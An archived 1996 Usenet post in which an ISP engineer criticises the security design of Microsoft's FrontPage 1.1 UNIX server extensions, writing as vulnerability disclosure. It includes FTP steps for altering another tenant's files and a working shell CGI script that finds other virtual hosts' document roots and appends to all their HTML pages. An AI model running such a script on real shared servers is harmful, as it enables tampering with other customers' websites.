Why FrontPage 1.1 Sucks, Part II
In-reply-to: PhilK@microsoft.com's message of Wed, 11 Sep 96 16:59:12 GMT
Newsgroups: microsoft.public.frontpage.extensions.unix
Subject: Re: UNIX Security Issues Addressed By Microsoft
References: <1996Sep11.1659320409.86.207@UPPSSNEWSPUB05>
From: fritchie@MR.Net (Scott Lystig Fritchie)
Date: 16 Sep 1996 22:17:42 -0500
Message-ID: <ytlhgoxq17t.fsf@data.mr.net>
Organization: Minnesota Regional Network
Lines: 268
X-Newsreader: Gnus v5.1
--text follows this line--
>>> On Wed, 11 Sep 96 16:59:12 GMT, PhilK@microsoft.com (K. King) said:
>
> THIS WAS POSTED IN THE 'www-security@ns2.rutgers.edu' FORUM. Prentiss
> Riddle of Rice University and Scott Lystig Fritchie posted their issues
> with regards to FrontPage UNIX extensions installation and Mike Mathieu
> Group Program Manager for the Vermeer Technologies group at Microsoft
> Replied.
I greatly appreciate Mr. Mathieu's subscription to the www-security
mailing list. Attached below is a message I sent to that list in
response to his message. At the folks at "As It Happens" (a Canadian
Broadcasting System show), "For the record...." I've edited it only
to remove a daft remark my sleep-deprived brain made about
compartmentalized operating systems.
I haven't heard from Mr. Mathieu, publically or privately, but I hope
to in the near future.
-Scott
--- snip --- snip --- snip --- snip --- snip --- snip --- snip ---
To: Michael Mathieu <mikemat@microsoft.com>
cc: "'www-security@ns2.rutgers.edu'" <www-security@ns2.rutgers.edu>
Subject: Re: Security aspects of Microsoft FrontPage server extensions?
In-reply-to: Message of "Fri, 30 Aug 1996 12:41:24 PDT."
<c=US%a=_%p=msft%l=RED-86-MSG-960830194124Z-36803@mail.microsoft.com>
Date: Sat, 31 Aug 1996 00:35:13 -0500
From: Scott Lystig Fritchie <fritchie@data>
I've just returned from a shift at the MRNet booth at the Minnesota
State Fair ... and was thinking of going home to catch some sleep, but
then I checked my email. :-)
>>>>> On Fri, 30 Aug 1996 12:41:24 -0700, Michael Mathieu <mikemat@microsoft.com> said:
mm> I'm Mike Mathieu, the Group Program Manager for the Vermeer
mm> Technologies group at Microsoft. I'm responsible for the design
mm> of FrontPage. As of this morning I'm on this mailing list, so
mm> this will be my only apology for a tardy response to this initial
mm> posting.
Good to meet you. Thanks for taking an interest in this mailing list.
mm> On UNIX we require 5 meg of server extensions per web. On a
mm> typical system we'll take 5meg per *server*, through the use of
mm> UNIX hard links.
The "fpsrvadm" installation utility bundled along with the server
extensions distribution 1.1 for Solaris does not utilize hard links.
A nice feature, when it's used. :-)
mm> For ISPs running virtual servers, we've got a special kit that you
mm> can get direct from Microsoft for free. It lets you maintain
mm> independent security settings per virtual server, while only
mm> requiring about 50k per user (rather than the 5meg). Check out
mm> http://www.microsoft.com/frontpage/ispinfo.
Do you have a more specific URL? The URL you mention has links to:
* Registering as a FrontPage Web Presence Provider
* Web Hosting Primer
* Web Hosting FAQ
* FrontPage Server Extensions
... and none of the four in turn contain a link pointing to the kit
you mention (as far as I can see ... but it *is* late). I even
followed the last link to retrieve the server extensions themselves,
but in the end I only found links for the extensions distribution:
vt11.solaris.tar* and UnixReadMe.txt.
mm> I'll focus on the security issues, rather than personal dislikes of
mm> design issues, given the nature of this list.
:-)
>2. FrontPage must have write permission to your server's
>configuration files, to /usr/local/frontpage, and "... if possible,
>the HTTP server process itself (to send a SIGHUP restart signal)."
>The FrontPage user account must also own all of the files in the
>server's document root.
mm> This is an unfortunate step needed to overcome limitations in CERN,
mm> NCSA, and Apache servers (it's not an issue with Netscape or Microsoft.)
mm> To help address this, we worked with Ready-to-Run Software to create a patch
mm>to Apache so that this is not required.
Such a patch would be appreciated. I've mailed a note off to
<fptech@microsoft.com>.
mm> We view this as a feature. We write them with full permission. This
mm> gives you complete flexibility in how you configure your web server. As
mm>Scott notes, you can fix this by changing the server's umask. If we turned
mm>off world-write access then there would be no way for you to turn it back on.
It's a stupid feature. Suppose you've got a box with virtual servers
F and S, the former being FrontPage-enabled. S is not, but its owner
uses FTP to update its content. All the owner of S has to do is:
Establish an FTP session as S's owner
"cd /path/to/F's/content/directory"
"get whatever.gif"
{Apply judicious use of Photoshop}
"put whatever.gif"
{Laugh maniacally}
To prevent that, the easiest thing to do would be to make some part of
/path/to/F's/content/directory non-world-executable (and perhaps
readable) ... but that would simply mean that S would also have to be
a FrontPage-enabled server.
Nowhere, to the best of my recollection, does the installation
instructions mention that it might be a good idea to disable FTP &
Telnet access to FrontPage-enabled virtual server owner accounts. One
of our FP testers wanted to have FTP service re-enabled because they
wanted to do some additional CGI development work. I said "No, but
you can make modifications exclusively via FrontPage; here's how."
They weren't happy, but they agreed to give it a try. (If I were in
their shoes, I don't know if I would've agreed to try it. {shrug})
So, if I wanted to accomodate this customer's desires (who also wanted
to use Telnet, too, if I'm not mistaken), I'd have to do create a
chroot()'ed jail for each virtual server. Run the server in the jail.
Hack ftpd to go to the appropriate jail for user so-and-so. Perhaps
hack up a shell wrapper to go to the appropriate jail if so-and-so
logs in using Telnet. Duplicate all the device files, executables,
support files, share libraries, and other cruft in the jail that FP,
the Web server, and the CGI stuff requires. CGI scripts in Perl?
Bummer, more stuff. CGI in C? Ouch, gotta put GCC in the jail.
[...] Your OS doesn't support loopback mounts to avoid actually
duplicating all this stuff? Bummer.
That's an awful lot of pain to go through for any software
installation. Coach newbie UNIX sysadmins through the process of
creating chroot() jails? Your tech writers will *love* you for
suggesting it. :-) Changing the FP server extension design would be
easier.
>4. The "tar" file the extensions come in will extract all the
>executables, their directories, etc. world-writable.
mm> Scott's right. We shouldn't do this. However, you can easily fix
>it:
>
> cd /usr/local/frontpage; chmod -R o-w .
Been there, done that. How many other administrators haven't? {shrug}
mm> I will make sure that this gets fixed.
A good thing.
mm> I'm not sure who you talked to about this in our Product Support
mm> Services, but we should be very clear on this point. There is no
mm> strong encryption here. It's not plain text that's passed in, but
mm> it's not far off.
Hey, we're supposed to be paranoid on this list, right?
mm> You are right. Running as root is a bad idea. We do say it's a
mm> bad idea. We say that the best scheme is to run as the user. I
mm> hear your concern that people without a certain level of technical
mm> sophistication might be confused here.
IMHO, it shouldn't be mentioned as a possibility. Each time the
"running as root is a bad idea" issue came up it was mentioned first
really got my goat. Sorry 'about that. But it's a horrible idea.
Your documentation should do everything to dissuade people from even
considering the idea.
mm> I'd be interested in hearing comments from people if they think that
mm> our install instructions assume too much knowledge on the part of the
mm> webmaster/server admin. We were trying to strike the right balance
mm> between giving enough information and not being condescending.
Perhaps different sets of documentation would be a good thing, written
for different audiences?
>The approach I took was to break up my <VirtualHost> server config
>file into separate config files, using the BindAddress command, for
>each virtual server. [...]
mm> Scott, I admire your industriousness here.;-) This is indeed a
mm> laborious task, and fortunately for everyone, we've created a special
mm> kit just for ISPs or other people running into this situation.
I'm looking forward to a copy, though I confess I'm a bit puzzled
about why it isn't available now via your Web site. When I saw some
of the dainbramage of the version 1.1 installation instructions,
contacting MS FP tech support wasn't exactly the first place I
considered contacting for assistance in fixing it. :-)
Scott Expands on His Previous Ranting
=====================================
MRNet has had two customers acting as guinea pigs for the FP server
extensions. The experience has not been pleasant, dealing both with
the server extensions and with bugs with the FP client.
When I told our Sales & Client Services department what I would
recommend in order to try to make the FP 1.1 server extensions in a
more secure environment (where I don't lose too much sleep wondering
when FP customer A does something bogus to my machine or to customer
B's site) ... they decided to say, "Sorry, but no." Both customers
will be relocating their FP-enabled Web sites to other providers.
We lose their business. Fewer $$$ to pay my salary. :-( We've got
other Web hosting customers, and we're adding more, but it's a dumb
reason to lose good customers who were (I hope I'm not deluding
myself) otherwise happy with our service.
However, I *really* wonder about the providers they will be migrating
to. In its current incarnation, FP requires that the content of all
FP-enabled virtual servers be owned by the same uid. That is
**asking** for trouble, particularly when there are trouble-makers out
in the Big Bad World who just might to the following:
1. Scott harbors a grudge against Acme BitTwiddlers.
2. Scott discovers that Acme has a FP-enabled Web server at
Smith Web Hosting, Bait, and Tackle Shop.
3. Scott gets a FP-enabled Web server on the same box as Acme's.
4. Scott uploads a CGI program somewhat like this one. He
assumes that the server is running a flavor of UNIX, but it
just might be an NT box, in which case his choice of scripting
(or programming) language would probably change. He'd also
assume that the server is Apache using BindAddress, though
there's no reason why some extra effort couldn't be spent to
make the script/program adapt to the config file syntaxes of
other servers, too.
--- snip ---
#!/bin/sh
PATH=/bin:/usr/bin
echo "Content-type: text/plain"
echo ""
CONFIGS=`grep serverconfig: /usr/local/frontpage/*.cnf | \
sed 's/.*serverconfig://' | egrep -v 'mysite|friendlysite'`
echo "My target config files are: $CONFIGS"
for CONFIG in $CONFIGS
do
DOCROOT=`grep DocumentRoot $CONFIG | awk '{print $2}'`
echo "My sucker's DOCROOT is $DOCROOT"
for FILE in `find $DOCROOT \( -name '*.html' -o -name '*.htm' \) -print | \
grep -v /_vti_cnf/`
do
echo " I think I will edit file '$FILE'"
echo "<!-- Kilroy was here! -->" 2> /dev/null >> $FILE
done
done
exit 0
--- snip ---
Yeah, it's really that easy. And I'm in a *nice* mood this evening.
It must be the sleep deprivation. {laughs maniacally}
-Scott
---
Scott Lystig Fritchie, Network Engineer MRNet Internet Services, Inc.
fritchie@mr.net, PGP key #152B8725 Minnesota Regional Network
v: 612/362.5820, p: 612/637.9547 2829 University Ave SE
http://www.mr.net/~fritchie/ Minneapolis, MN 55414